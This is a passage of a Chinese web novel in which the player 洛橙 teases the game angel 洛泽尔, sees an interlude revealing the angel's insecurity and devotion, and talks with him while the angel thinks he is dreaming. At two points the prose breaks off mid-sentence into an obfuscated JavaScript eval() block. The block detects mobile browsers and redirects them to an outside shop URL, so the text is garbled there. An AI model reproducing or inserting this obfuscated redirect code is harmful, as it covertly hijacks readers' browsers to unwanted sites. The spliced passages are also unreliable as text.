【→不管再怎么说，我就是想要试试】 【洛泽尔心情-1-1-1】 洛橙：“噗。” “好伤心哦洛泽尔。”少年懒洋洋地拉长了语调，坏心眼的神主却没有任何反思，“把你弄得更伤心的话，你会怎么做呢？” 洛橙甚至好奇起来了，心情值降到一定程度的话，洛泽尔会有什么样子的变化呢？ 他顿时有些蠢蠢欲动。 随着洛橙故意为之，屏幕里的那只天使很明显郁促起来。 洛橙忍不住弯了弯眼睛，有天使表面看上去没有任何波动的样子，实际上在偷偷掉心情值，是谁洛橙不说。 游戏还在冒出新的弹窗，加剧洛橙行为言语的影响。 【您的天使似乎心情下降得有些厉害，要不要哄哄他呢？】 【唔，逗一下就可以了，哄哄他吧！】 【不要。想要更恶劣一点。】 【→不要。想要更恶劣一点。】 【您确定这么做吗？】 游戏弹窗的肢体再一次冒出了血迹的特效，慢慢将原本的黑色字体染红，象征着某种不详征兆。 【→确定】 【您的天使对您的决定似乎有所不满，您要如何惩戒他？】 【____________】 洛橙拧了下眉头，不满地哼唧了声。 他只是简单想逗逗自家可爱的天使小狗而已啦，又不是真的要惩罚。 随便找个借口简单的口头训斥一下吧！ 伴随着洛橙的选择，屏幕里的小人忽然抬起了洛泽尔的脸。 【“洛泽尔，你在想什么。你好像很不满……难不成你在质疑我的决定吗？”】 【洛泽尔心情-1-1-1-1-1……】 【洛泽尔心情-999】 【洛泽尔陷入了负面状态：（嫉妒）（不甘）（阴郁）】 洛泽尔的像素风立绘出现在最中央。 这位圣天使长相真的很好看。 那样如寒山松柏一般深沉寂寥的气质，透过简陋的像素，反而更明显起来。 洛橙愈发期待起来了。 会生气么？ 会在我面前露出不为人知的一面么？ 会试图辩解吗？ 在这样略显恶劣的心情下，洛橙看见洛泽尔头顶一直冒着小花花的气泡悄声无息变化了。 一朵小小乌云笼罩了那个气泡，就像是他的世界都陷入在这场突如其来的坏天气中。 可明明心情和状态都那么糟糕，所有的证据都在说明洛泽尔此刻抑郁难抑的心有多焦灼，但他依旧温顺地垂着脑袋。 在洛橙想要戳戳他的脸看他反应的时候，天使忽然抬起了眼睛。 有小雨淅淅沥沥地从气泡里落下，落到了天使雾蒙蒙的灰色调的眼睛里。 那先前只在图鉴里的人物立绘处听到的声音，再一次传达进了洛橙的耳朵里。 他轻轻地、顺从地，像是淋湿的小狗，语气却如同和自己的神宣誓那般虔诚而坚定。 【“……不。”】 【“洛泽尔绝不会质疑您，更不会违反您的任何命令。”】 【“请您责罚我。”】 是认错，是讨好。是小心翼翼，是惶恐不安。 被故意欺负的狗狗，没有流露出任何负面情绪，只是用那双漂亮的灰色眼睛，用那被细雨沾湿的声音，恳求他的主人不要因为这个而抛弃他。 洛橙：…… 洛橙：！！！ 洛橙后知后觉： 糟、糟糕，好像逗弄过头了。 8. 008 明明只是很普通的事情。 连语气其实也不算多么严厉。 如果是别的游戏，这样的对话甚至不能引起什么波动，最多不同性格的角色会给出点不大不小的反应，要么撒娇，要么吃醋，要么是闹别扭。 就算是会流露出点与平日截然不同的怒意或者恶意，那点因“不同于寻常”的鲜明，在玩家眼中也会变得可爱起来。 洛橙想过洛泽尔会有很多种反应，但绝不是眼前这种。 洛泽尔却似乎不这么认为。 他好像…… 有点过于苛待自己了？ 洛橙一时间愣住了，脑海里还回荡着洛泽尔的声音。 ——请您责罚我。 说出这样话语的时候，洛泽尔心底在想什么呢？ 洛橙再一次冒出了这样的念头。 他下意识地去看洛泽尔头顶的气泡，但是这次，气泡里只淅淅沥沥地下着小雨，浸透了天使那双灰色的眼睛。 “也没有人说过，选错选项还会让人这么愧疚啊……” 被天使狗狗这么可怜兮兮地一看，洛橙有点坐立不安了。 虽然说玩家在游戏里做出什么事情都是正常的，但是自家乖巧听话的小狗真被自己欺负成这样还以为是他自己的问题，见他面无表情顶着下雨气泡的哭哭模样，洛橙难得有些无措。 “好啦好啦，我错了。我不该这么欺负你的，不要难过嘛。” 赶紧摸摸可怜小狗！摸摸宝宝然后再亲亲！ 这样、应该不会继续伤心吧？洛橙不确定地想。 可惜的是，这个游戏只负责拱火，没有给玩家任何熄火的机会。 洛橙只能眼睁睁看着洛泽尔一直维持着【（嫉妒）】、【（不安）】、【（恐惧）】等负面状态，等来了其他天使。 洛泽尔显得很自闭，但被其余天使包围起来的洛橙根本没有办法去安慰他。 就像是什么不能跳过的过场动画一样，洛橙失去了对游戏里的自己的操纵权。 洛橙试图尔康手阻拦：“不要啊我还没把洛泽尔哄回来呢——” 天杀的无良游戏！！！ 在这种奇异的剧情杀下，洛橙只能看着屏幕里的自己被天使们包围，而洛泽尔一个人则孤零零的。 ……这就是对他先前坏心眼的惩罚吗？ “可恶可恶可恶！”洛橙捏紧拳头，想给这个游戏来上一拳了。 屏幕里的小人已经不看洛泽尔了，但屏幕外的洛橙气呼呼着，却无法控制地继续注视着洛泽尔。 洛橙并没有选择责罚洛泽尔，可这样的行为似乎让他更难过了。 沉默又伤心的小狗即便被伤到了心，也依旧不肯离开，不远不近地在旁边看着洛橙，气泡下的小雨一直没有停歇过。 洛橙：我真该死啊QAQ 其他天使虽然被洛泽尔隔开，但他们其实一直在不远处的地方静静地守卫着洛橙。 现在，洛泽尔让出了位置之后，他们先是有些不可置信，旋即，像是捡到了从别人手中飘落的五百万彩票一般，他们急急忙忙地围了上来。 【“啊、啊啊……”】 依旧是含糊的、古怪的絮语，洛橙完全听不懂。 但是，天使们轻快愉悦的心情依旧轻而易举地传达到洛橙这里了。 洛橙想，游戏里的这些会暴露他们心情的气泡实在是太作弊了。 【（喜欢）】 【（喜欢喜欢喜欢）】 【（崇敬）（喜悦）（平静）】 【您的眷属心情+1+1+1……】 【您的眷属心情upupup！】 【想要一直这么下去。他们想。】 【在您身边，您的眷属心情+999】 【状态：幸福】 一朵又一朵小花，开在了这些像怪物一样的天使们头顶。 巨大的身形，猩红的眼睛，与周围黑暗风格环境截然不同的、飘着的粉色花朵。 说实话，这个画面很奇怪，但是…… ……又、很可爱。 刚直面完拥有与众不同的反应、永远不知道想什么的洛泽尔，现在又被一群天使眷属浓郁得快要溢出来的爱意包裹，洛橙心底那点不知所措再一次被扩大了。 像是凝固在枝头的冰锥，原本沉甸甸、气势汹汹地压在枝头，只是偶然间，被热情的小鸟啄裂了一个小口，“咔嚓”一点微小的声响。 哪怕小鸟很快就走了，冰锥看上去也毫无异样。 但只有冰锥自己知道，这点似乎微不足道裂痕多么致命。 那点轻微的破碎声，看似只浅浅开了一个小口，实际上，让冰锥整个世界都摇摇欲坠起来了。 洛橙莫名有些面红耳赤，把手机丢过一边，随手扯过沙发上的抱枕盖住自己的脸。 抱枕盖在眼睛上，遮住了光亮，洛橙缓缓吐息了一会，才缓过神来。 “喂喂喂，搞什么啊，不用套路光用感情么……就算是这么做的目的是为了套牢我和我口袋里的钱，你好歹先把充值入口做出来啊……” 上头的状态下，多少个648洛橙也是会氪进去的。 比如方才，游戏说冲个大小月卡才能哄哄洛泽尔，比如现在，游戏说再冲个98可以知道这些天使们在说些什么，顺便进入他们的剧情线和他们继续互动，洛橙一定会毫不犹豫地氪金的。 ——然而，没有。什么都没有。 看着屏幕里由像素的大家，是简陋画风都掩盖不住的对屏幕前的洛橙满满的、不知从何而来的爱意。 洛橙的心底再一次涌出了好奇。 他忽然很想要去了解。 了解洛泽尔，了解这些天使们。 ……总、总之，都这么讨好玩家了，作为玩家的洛橙被哄开心了，决定也偏爱一下这些角色怎么了！ 洛橙把手机捡回来，选择继续游戏。 屏幕里的洛橙正被这群天使簇拥着回到他们初见的地点。 和洛泽尔不同，这些天使们并不能自由变化，身形总是很庞大，如果不知情的人在这里，一定以为他们是怪物。 可这些天使很乖。 在洛橙自由探索着遗弃之地时，他们在洛橙看不到的地方继续清理着这片土地。 洛橙被一颗果子毒倒的经历实在吓坏了他们。 等洛橙重新回到见到他们的地点，在这片区域，遗弃之地都小小变了个样子。 像是察觉到了洛橙的惊讶，游戏还冒出了新的弹窗。 【遗弃之地（翻新了但没完全翻新版）】 洛橙毫不在意地无视掉它的吐槽，继续兴致勃.勃地观察。 锋利的树桠和枝叶全被拽掉了，地面像是翻新过，原本有点凹凸不平，现在光洁得像是被压过。 就连洛橙cos过松鼠的树洞，也被他们好好地整理起来了。 那颗树很大，原本只被挖出十分之一不到的树洞，被扩成了占据树中央二分之一的直径。 洞里铺满了黑色的羽毛，旁边还放着许多奇形怪状的东西。 在像素画风下，那些物品花花绿绿的，看上去就诡异无比，没有点亮探知技能的洛橙满头雾水：他的天使们又给他整了些什么？ 洛橙好奇地摸了摸，把玩好会后都没在屏幕里看见什么新的提醒。 洛橙后知后觉：该不会是应该他那会非吃那鲜艳有毒的果子，让大家误会他就是喜欢这种色泽怪异的东西吧？ 有种“虽然不明白玩家做什么，但是游戏角色选择溺爱玩家”的奇妙羞耻感…… 洛橙操纵小人在树洞里逛来逛去。 虽然说是树洞，但真的在里边晃悠时，发现里边的空间起码有快二十平了。 明明从外边看上去，这颗树虽然很高大，可直径明显没有这么宽。 是什么神奇的魔法么？ ……不。 也有可能是像素画风模糊了洛橙对大小的概念，或许这样的宽敞，对于生活在这里的这些天使们而言，这才是常态。 也正是在乱转的时候，洛橙发现，树洞里还塞满了红艳得像是宝石一样的果子。 洛橙觉得有些眼熟，很快就认出来了，这显然是洛泽尔先前带洛橙去摘的不知名红果。 而现在，这些红果几乎要把树洞的内部淹没了。 洛橙：…… 洛橙咽了口唾沫。 游戏里的大家到底是多么怕他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588500|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿死在这里啊？ ——不过也可能是怕洛橙继续什么都吃就是了…… 总之，很快，游戏里的一天就这么过去了。 遗弃之地的黑夜远比白日要来得寂寥。 天幕中悬挂的黑日褪却，取而代之的是一片空茫。 没有任何发光的天体，遗弃之地却仍有一些微弱的光亮。 但这种浅薄的光芒，只会加剧人心底的不安。 就像是有什么恐怖的东西在黑暗中滋生，随时都可能朝人扑来。 不过这些都与此刻的洛橙无关。 所有的幽冷和危险，都被拦在天使们的保护外。 那些天使很大一只，光是从他们身上揪下来的羽毛都能作为棉被了。 在他们的保护下，没有任何存在能够伤害他们的神主。 洛橙：“……其实我还想继续逛一会的。” 天使们：（担忧）（泪眼汪汪）（恳求） 洛橙：…… 洛橙：………… 洛橙：（大败特败） 被天使们早早赶去温暖的树洞里休息的洛橙有点无奈，天才擦黑没多久，那些天使们一个个小心翼翼地、笨拙地做出睡觉的动作，即便洛橙还想继续探索夜晚的遗弃之地有什么不同，也不好直白地表露出来。 他就像是个被家长强行规定了睡觉时间的小孩子，虽然心底不以为然，可在家长们担忧的表情下还是只能乖乖地听从。 天知道，洛橙在现实里都不会这么早睡，在游戏里倒是早睡上了。 随着天使们的离开，游戏里的小人也闭上了眼睛。 屏幕里陷入一片漆黑。 轻缓的呼吸声成了此时游戏里唯一的音效。 洛橙本以为今天的游戏到这里就要结束了，但几秒过后，洛橙发现自己忽然重新拥有了屏幕里的小人的操纵权。 洛橙试探着起身，发现没有任何阻碍后，当即兴奋起来。 睡觉是要睡的，不过睡觉之前，洛橙还记着一件事情。 “洛泽尔去哪里了呢？” 洛橙正要去自家心碎了一天的某只天使小狗道歉，结果刚从树洞里爬出来，就发现屏幕似乎更黑了——有什么巨物正堵在他的门口，将本就微弱的光亮吞噬得更是所剩无几。 【！！！】 【您受到了些许惊吓】 【是谁竟敢如此胆大妄为堵在您的门口？！】 丝毫不打算理会颇为戏精的弹窗，洛橙废了老大的劲操纵小人仰头也没将对方看清。 但洛橙已经不是先前的洛橙了！ 光溜溜用不知名石头做的神像不好爬，抓着长袍往上还不好爬么？ 等洛橙呼哧呼哧艰难地爬上对方的膝盖，屏幕里的小人已经要累倒了。 不过洛橙没有任何不满，他只是哼哼唧唧地嘀咕了句“大家为什么都那么大只”后，便用一种亮晶晶的眼神重新抬起头—— 他看到了非常熟悉的一张脸。 灰发灰眸、变回原形的某只圣天使，像是蹲守在主人门口的狗狗，靠在洛橙休息的树洞外，安静地睡着了。 洛橙：ovo？ 他静静地隔着手机屏幕，注视了对方的睡颜一会。 眼睛是灰色的，闭起来的睫羽也是灰色的，随着呼吸轻轻颤抖着，仿佛深陷在某个睡梦之中。 明明只是很简单的像素画风，偏偏却叫人移不开眼睛。 “什么呀，睡得这么可爱，叫人怎么忍心打扰你嘛。” 这样嘀咕着，洛橙想了想，还是操纵着小人朝洛泽尔靠近。 天使漂亮的脸颊旁冒着个带有省略号的小气泡。 与之前代表沉默的意味不同，这个省略号是红色的，随着天使的呼吸，气泡也在轻微的摇摇晃晃。 像是某个被藏得很好的梦境，只露出一点小小的细节，吸引着人去试探触碰。 洛橙垫着脚，有些好奇，轻轻戳了戳洛泽尔枕在手肘和膝盖处的脸颊，然后又去摸那个不知何时垂在他指尖的小气泡。 天使也会做梦么？ 下一刻，一个弹窗冒了出来。 【叮！前置条件已达成】 【是否选择进入间幕？】 9.009 看着这突然冒出来的提示，戳着主动凑过来的气泡，洛橙一愣。 【间幕】？ 洛橙歪了下脑袋：“这是什么？” 洛橙本来只是自言自语，顺便多戳了几下这个提示，没想到就被游戏默认同意了。 一阵柔和的光泽闪过，洛橙的视野骤然被拽入了新的场景之中—— “等、等下，我还没准备好，存档按键呢，给我存个档啊喂！” 不等洛橙抱怨完，屏幕里，白日的清晰光线已经将黑暗取代。 洛橙听到了新的音效声。 “倏倏。” 如同寒风拂过凛冬的树梢，音效显得寂寥又阴冷。 慢慢习惯了的第一人称视角，又重新换成了第三人称。 出现在眼前的事物，显然不是洛橙所熟悉的。 洛橙忍不住去猜，这个突然出现的间幕，究竟是梦境，还是过去发生的事情的碎片回放？ 屏幕此刻完全变化了。 和像素画风不同，映入眼帘的是相当高清的画面，就像是什么精心制作的cg。 明明是白日见过的遗弃之地，在洛泽尔眼中和在洛橙眼中却截然不同。 天际悬挂的黑日像是一只狰狞的巨眼，每一处土地都在缭绕着淡淡的黑气。 那些被羽毛填平前的小坑，时不时会冒出像是有毒沼泽一般的气泡出来。 洛橙路过时，只显得有些狰狞，在像素画风下还有点抽象的可爱的树干，竟然会冷不丁地像是蛇一样窜出来袭击天使们。 洛橙：！！！ 洛橙忽然有点理解，为什么那些天使们会这么担心自己了。 要是看到的不是像素点，而是这些写实的场景，没有天使们在旁边看顾，以洛橙只能说是一般的操作，估计得死上好几回。 洛橙：“……好，之后去探索的时候必定要拽上大家和我一起走。” 可怜的、看不见自己等级但目测为1的新手玩家洛橙决定从心一下。 在这个间幕里，洛橙是可以自由走动的。 屏幕里有个跳来跳去的小人，格外地放飞自我。 反正这附近没有人，看不到他在做什么，所以随性一点也没什么啦=v=。 洛橙很快就找到了间幕的主角。 毕竟他进入间幕的地点，不远处就乌压压站着好些天使。 这显然是白天时发生在洛橙看不见的地方的事情。 一堆低阶天使围成一堆，像是被教导主任逮住的学生，一个个老老实实地等待着洛泽尔的训话。 洛橙瞪大眼睛，有些惊异。 打量了一会，发现大家都看不见自己后，洛橙显然更随意了。 他现在就仰着头，用好奇的视线一直瞧着他们。 先前的时候，洛橙以为围着自己的天使已经够多了，但是洛橙想象不到，原来遗弃之地有这么这么这么——多的天使！ “大家是怎么藏起来的？”洛橙忍不住坐直了身体。 而屏幕里，看不见自家神主的天使们即便被叫来集合，心思却完全不在这里。 【神主……】 【想、靠近】 【神主、神主神主神主——】 天使们浑噩的低语，在这一刻，终于被进入间幕里的洛橙听到了。 不知道游戏在哪里找来的配音，即便是这些被设定为长相怪异的天使们，他们的声音也很好听，明明只是简单的、重复的词语，这样混杂在一起竟然也不显丝毫刺耳。 洛橙轻咦一声，更加仔细去听他们在说些什么。 【喜欢】 【要、保护神主】 洛橙慢慢就脸红了。 有时候，文字远没有语言来得直白动人。 被那么多声音诉说着喜欢时，哪怕知道这只是游戏，但依旧难以去忽略这种悸动。 洛橙咳了咳，将视线移到最前方的圣天使身上。 明明变作拟态时，身形比其他天使矮小那么多，可洛泽尔站在这些天使们面前，却是意外有气势。 那从未在洛橙面前显现的冷漠，出现在洛泽尔脸上时，竟然让洛橙对他一时间有点陌生起来。 洛泽尔个高腿长，俊美的脸上没有任何表情时，那种压着的冷漠就浮现出来了。 他正在给这些没有多少理智残余、只有亲近神主本能残存的低阶天使立规矩。 “不许私自靠近神主。” “不能吓到神主。” “不可以过去太多家伙。” 洛泽尔用极为冷淡的声音，说着一条又一条命令。 在旁边听着的洛橙：！！ 原来白天其他的天使们能那么规矩缀在洛橙身后放任洛橙探索，数量也维持在一定的数量，竟然是被洛泽尔规范过了！ 但洛泽尔可完全没有告知过洛橙这件事情。 在洛橙面前那么乖，背后却这么那个？ 好一个超绝变脸小狗！ 洛泽尔不仅下着命令，还刻薄地选起了妃。 ——是的，选妃。 这些低阶天使，在像素画风里还有点怪诞的可爱，在现实中，反而显得有些恐怖起来了。 断掉的、露出血肉骨头的翅膀，脸上长满了猩红的眼睛，两只脚并立着、几乎融合到了一起……各种各样怪异的容貌，竟然在一群天使身上呈现了。 洛泽尔选了很久，才选出一些看上去相对而言比较正常的。 洛橙这才知道，原来那些已经被像素模糊了惊悚模样的天使们，竟然已经是最好看的一批了！ 即便如此，洛泽尔还是微微拧起了眉头，神色中似乎有些不满。 他抬了抬手指，天使们的容貌就变化起来了。 那些血迹、污渍，侵染的黑雾，全都如烟雾一般消散，出现在眼前的，是一群漂亮圣洁的天使。那雪白的羽翼，高大的身形，才是世人对天使常规的认识。 不过，为什么洛泽尔给他们使了法术，在洛橙的视角里，这些天使们还是没变化前的样子？ 给这些低阶天使们立完规矩，又修整完外貌，洛泽尔孤零零地站在原地发了好一会呆。 洛橙操纵着小人挨过去。 在间幕里，小人仍然是像素画风，小小的一个，在正常比例的洛泽尔面前，就像是一个娇小无比的手办，洛橙废了好会功夫才爬上洛泽尔的肩膀。 他坐在天使的肩膀上，气喘吁吁的，抓着天使垂落的灰色长发，才没有一头栽倒。 在这个视角下，洛橙看到了他在立绘里没有发现的东西。 立绘里，洛泽尔脸上漂亮的银色圣纹，在间幕里反而变得暗沉斑驳，如同新雪上的污渍，让圣天使原本漂亮的脸，无端生出几分阴郁。 “其实不难看呀，为什么要隐藏起来呢？”洛橙摸了摸他脸上的灰痕。 洛橙看到洛泽尔不知不觉混到围在自己身边的天使群里偷偷地看着自己。 洛橙第一次看清了自己在游戏里的样子——好吧，也不能这么说。 面容模糊在柔和光泽里的少年和洛橙现实体型差不多，他那会左瞧瞧右摸摸的，对什么都很新奇的样子，在洛泽尔眼中就像是蒙上了无数层滤镜。 对方似乎也察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590182|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了隐匿在天使群里偷看自己的洛泽尔，洛橙猜游戏里的自己似乎是对洛泽尔笑了。 因为洛泽尔在这一瞬间，呼吸声和心跳声都明显漏了一拍。 那一刻，周围昏暗的环境褪去，世界只剩下神主明亮盈泽的身影。 所有的色彩，都凝聚在洛泽尔眼中的少年身上。 “……、……！” 洛橙面红耳赤起来，第一次亲身体验了，什么叫做世界在那一瞬间都变得不一样的感觉。 心跳声、呼吸声，如此简单的音效，成了此刻游戏里唯二的声音。 洛橙本以为洛泽尔要这么走过去，他还记得接下来，自己是朝洛泽尔招了招手的。 但洛橙没有想到，视野很快又变化了。 场景从白日到了黄昏交际。 洛橙看到了有些居高临下的自己。 洛橙一下子知道这是哪个时间段发生的事情了。 面容被模糊的少年神主抬起了圣天使的脸，似乎说了什么，圣天使便深深地低下了头。 【“请您责罚我。”】 ——说出这句话的时候，洛泽尔在想什么呢？ 这样的好奇，此刻得到了完整地解答。 他想的是—— 【……不想被讨厌。】 【请不要……讨厌我。】 隐秘的心音，就这么传达到了洛橙的耳中。 洛橙听到游戏里的自己轻轻地笑了一声，那声音极为耳熟，漫不经心透着几分散漫的笑意。 神主对圣天使的低头不置可否，只淡淡地说了句“算了”。 他确实没有责罚洛泽尔的意思，可这点模糊在字句里的不在意，反而显得这场景刺目起来。 连洛橙本人都忍不住瞪大了眼睛，他那个时候，在洛泽尔的眼中，原来是这么冷酷的么？ 怪不得他明明没有选择责罚，洛泽尔还会失落成这样。 然后，洛橙就看到了洛泽尔眼中接下来的事情进展。 看不见面容的少年神主被天使们围在中心，视线所及之处，只有神主和站在他周围的天使是彩色的，其余的世界黯淡无比，褪去了所有的颜色，只有黑白。 洛泽尔看着神主高高兴兴地被大家簇拥，看着神主兴高采烈地回到树洞，自己却在洛橙睡着后，冷着脸赶跑其他想要守在树洞前的天使，自己伤心地靠在树洞外边，给神主守门。 简直就像是什么对同类很凶，却在主人面前只会无助嗷呜，泪眼汪汪的小狗。 不知道为什么，看到这一幕时，洛橙觉得又可怜又好笑的。 “真是的，这么别扭下去，我要是发现不了的话，像洛泽尔这么笨，要怎么办才好呢？” 仗着洛泽尔发现不了自己，洛橙可劲地pua自家圣天使，声音里全是藏不住的笑意。 洛橙没有发现，屏幕里的视角似乎又变化了。 洛橙爱怜地轻轻擦过天使脸上灰痕的指尖，不再只有一小点。 原本的视角更多是挂在洛泽尔肩膀上看到的，现在却像是洛橙从小手办变回了真人。 少年无声无息，从背后环抱般亲昵地靠向了圣天使，连叹息时小小的气流，都如蝴蝶吻花一般擦过洛泽尔敏感的耳羽。 坏心眼的神主，仗着自家天使看不见自己，原本只是温柔地停在洛泽尔脸上的温热手掌，故意去捏了捏洛泽尔藏在发间、此刻正细细颤抖着的耳羽。 “……神、神主？” 下一刻，洛泽尔抬起头，还有些水雾残存的灰色的眸子，冷不丁地看向了屏幕前的洛橙。 洛橙：“！！！” 10.010 猝不及防下，两个人面面相觑，一时半会竟然分不清到底是谁更尴尬。 不过洛橙觉得是洛泽尔。 毕竟换位思考，要是被回放黑历史的人是自己，估计现在洛橙已经要找地方躲起来了。 但是洛橙完全没有想到，洛泽尔却没有半点害羞的样子。 他定定地注视了洛橙一会，略显苍白的脸上浮出淡淡的红晕。 圣天使将头垂得更低，冰冷的手掌按住了洛橙想要抽离的手，用自己的脸颊和耳羽，轻轻蹭着洛橙的手心，喃喃自语： “竟然……梦到了神主了吗？” 【您的眷属以为自己在做梦，要告知他真相么？】 【A.当然呀！说不定洛泽尔会露出非常可爱的表情来呢】 【B.才不要。继续演下去的话，会发生什么更有趣的事情吗？】 洛橙：…… 洛橙：ovo？ 原本以为是要被抓包，没想到洛泽尔以为自己在做梦么？ 洛橙刚消下去的坏心眼，这会又重新浮现出来了。 他眨眨眼睛，甜甜地笑了起来。 洛橙毫不犹豫选择了第二选项。 “是哦，这里是洛泽尔的梦境哦。想不到嘛，明明先前还想被我惩罚的洛泽尔，竟然会在无人知晓的梦境里梦到我。” 神主装模作样地指责着，尖尖的小虎牙若隐若现：“洛泽尔，这可是大不敬啊~” 神主慢悠悠地拉长语调： “让我想想，怎么惩罚你才好呢？” 被捉弄的圣天使脸上红晕更甚，抿着唇不说话。 【您捉弄了您的眷属，心情+1】 【您的眷属被您捉弄了，心情+1】 【听到您准备惩罚他，洛泽尔心情+1+1+1】 【洛泽尔当前心情：（开心）】 洛橙：“？” 输入着互动文字的洛橙呆了呆：…… 我自己加心情很好理解，洛泽尔为什么会加心情啊？ 这个心情状态是认真的吗？ 洛泽尔并不知道自家神主怎么吐槽的自己，垂着仿佛沾着松雪的长睫，低沉的声音也在这样的氛围下显得无端地勾人：“您要如何惩罚我呢？” 说话时，洛泽尔抬眸望了洛橙一眼。 那双原本还有些冷淡的眼睛，此刻就像是落满了星星一眼，带着灼热的光芒。 洛橙被惊艳到了，小小地哇了一声。 洛泽尔原来这么好看的么？ 只是，“……就这么期待惩罚么？” 洛橙都有些摸不着头脑了，没忍住加重力度多捏了一下洛泽尔的耳羽，疑心自家这只双面派天使是不是暗地里有着什么特殊癖好。 他可不是那种喜欢搞虐待的家伙啊！ 偏偏洛泽尔还抑制不住那般轻喘了一声，又急又黏糊的声调，弄得游戏前的洛橙都忍不住面红耳赤起来。 “如果是您的话，什么惩罚我都可以接受。” 眼睛湿漉漉的天使用一种非常暗哑又惹人犯罪的声音说。 与此同时，出现在洛橙眼前的是非常之不妙的提示。 【您的眷属心情+1+1+1】 清醒点不要再加下去了洛泽尔！ 洛橙有点头皮发麻。 他真没什么特殊爱好啊！ 洛橙默默操纵游戏里的自己离洛泽尔远了点。 察觉到洛橙下意识的躲避，洛泽尔的神情明显淡了下来，那点阴翳再次从他俊美的眉眼里浮现出来了。 “……为什么呢，我主。”他极轻极轻地说，声音几乎化在空气里，“为什么不惩罚我呢？为什么要这样无视我呢？” 这位在洛橙面前从未流露出任何攻击性的圣天使，此刻表情模糊在阴影下，竟然多出了几分阴翳。 “哪怕是在我的梦里，您也不能满足我的愿望么？” 洛橙：？？ 洛泽尔还在喃喃自语：“果然，我是无用的。或许约斐尔会比做得比我更好吧，我只是侥幸提前遇见了您而已。如果约斐尔找到您的话，如果是他们先遇见您——” 他忽然不说话了。 在如此丧气的情况下，洛泽尔安静了一小会。 明明神色笼罩着一层薄薄的郁气，那双灰色的眼眸却折射出冰冷的色调出来。 可洛泽尔却没有继续自哀自怨，他开始兢兢业业地给洛橙安排之后的事情，声音一点一点恢复了平静。 他在交代，比如大概什么时候可能会有人过来迎接洛橙，洛橙回到神国要怎么做，谁谁谁比较靠谱，不要给大家太好的脸色不让有些天使大概会得寸进尺…… 洛橙都听不下去了。 洛橙先前都不知道，原来看似寡言少语的洛泽尔，竟然能够一口气说这么多话。 先不说“约斐尔”是谁，这一边表情阴郁得像是男鬼，一边用丧气的语气说着这样周到得叫人头皮发麻的安排是怎么一回事？ 他直接掐住洛泽尔的下巴，不许天使低头，强迫洛泽尔抬起头看着自己，眉头一拧，反问道：“那你呢？” 下意识躲避洛橙落在自己脸上手指的洛泽尔动作一顿：“……什么？” 洛橙不满道：“你说了这么多有关于未来的事情，那你的位置在哪里？” “我的未来没有你吗？” “你不想和我一起创造新的未来吗？” 屏幕里的那只天使好像被问倒了一般，好半晌没有任何回应。 …… 一开始，洛泽尔的心情有些微妙。 神主暧昧不明的态度让洛泽尔不敢再以唯一的近侍自居，可就这么远离洛泽尔又无法抑制心底的不甘。 他只能不远不近地缀在洛橙身后，在洛橙休息后，把所有天使赶跑，只留他一个守在洛橙门前。 洛泽尔丝毫没发觉自己行为的异常，只是想要更靠近神主。 如此近的距离下，天使敏锐的嗅觉，让他能够清晰地嗅闻到神主身上的气息。 全部的心神感知，都黏在仿佛无知无觉的神主身上。 唯有这样，才能够安抚洛泽尔心底蔓延开来的不安。 可寂寥无声的夜晚，让白日沉淀的思绪重新涌动起来了。 洛泽尔在想，或许那个时候，心情波动起来的，不仅仅只有他自己。 明明神主完全没有回头看过洛泽尔，但先前那种仿佛被神主暗中注视、观察的感觉，如同探出脚尖试探的鸟雀，轻巧的、不带任何偏重的目光，再一次暧昧却无情地攀爬上了洛泽尔的身上，让洛泽尔难以克制地从眼眸里溢出一点深色。 ……神主那个时候，在想什么呢？ 那双漂亮的眼睛，凝视他的时候，又到底是在期待什么呢？ 不知不觉中，洛泽尔睡着了。 洛泽尔已经很久很久没有这样放松过了。 天使也会做梦吗？或许吧。 在梦里，洛泽尔梦见了神主。 明明只是梦境，洛泽尔却在此刻，感受到了神主几乎和现实如出一辙的温暖。 当他靠近神主时，鼻尖甚至能够嗅闻到独属于神主身上浅淡好闻的香气。 然后，在恍惚中，说下自己也不敢细听的话语。 被拒绝后，又伤心着，失落着。 其实白日里那根属于另一个圣天使的羽毛，只是一根微不足道的导火线。 让洛泽尔真正恐惧的，其实是他自己的恃宠而骄。 是因为察觉到被偏爱的可能性了吗？ 所以才会对很有可能夺走神主目光的存在产生了敌意。 要是神主真惩罚了他就好了，在这长久的等待和侵蚀之中，洛泽尔最擅长的就是忍耐疼痛。 疼痛会让洛泽尔变得清醒。 然而神主没有惩罚他，偏偏正是因为如此，洛泽尔反而更痛苦难耐起来。 比这些假想敌更讨厌的，是产生了更古怪、更扭曲想法的自己。 心心念念的、不是善也不是恶的神主，就像是一个无所牵挂的旅人，漫不经心逗弄着他掌心的小狗的同时，正用一种纯粹的目光，期待着小狗因他的行为产生各种奇妙的反应。 就好像，他期待的不是小狗的忠诚，也不是小狗可怜的呜咽，只是单纯想要看到小狗因为他露出与平日截然不同的反应。 如果小狗没有及时露出合适的反应取悦到他，兴许下一刻，神主就会毫不留情地抽身而去。 为什么会有这样的想法？ 为什么会这样去想他的神主？ “……果然，我是无用的。或许约斐尔会比做得比我更好吧，我只是侥幸提前遇见了您而已。如果约斐尔找到您的话，如果是他们先遇见您——”洛泽尔厌弃出声 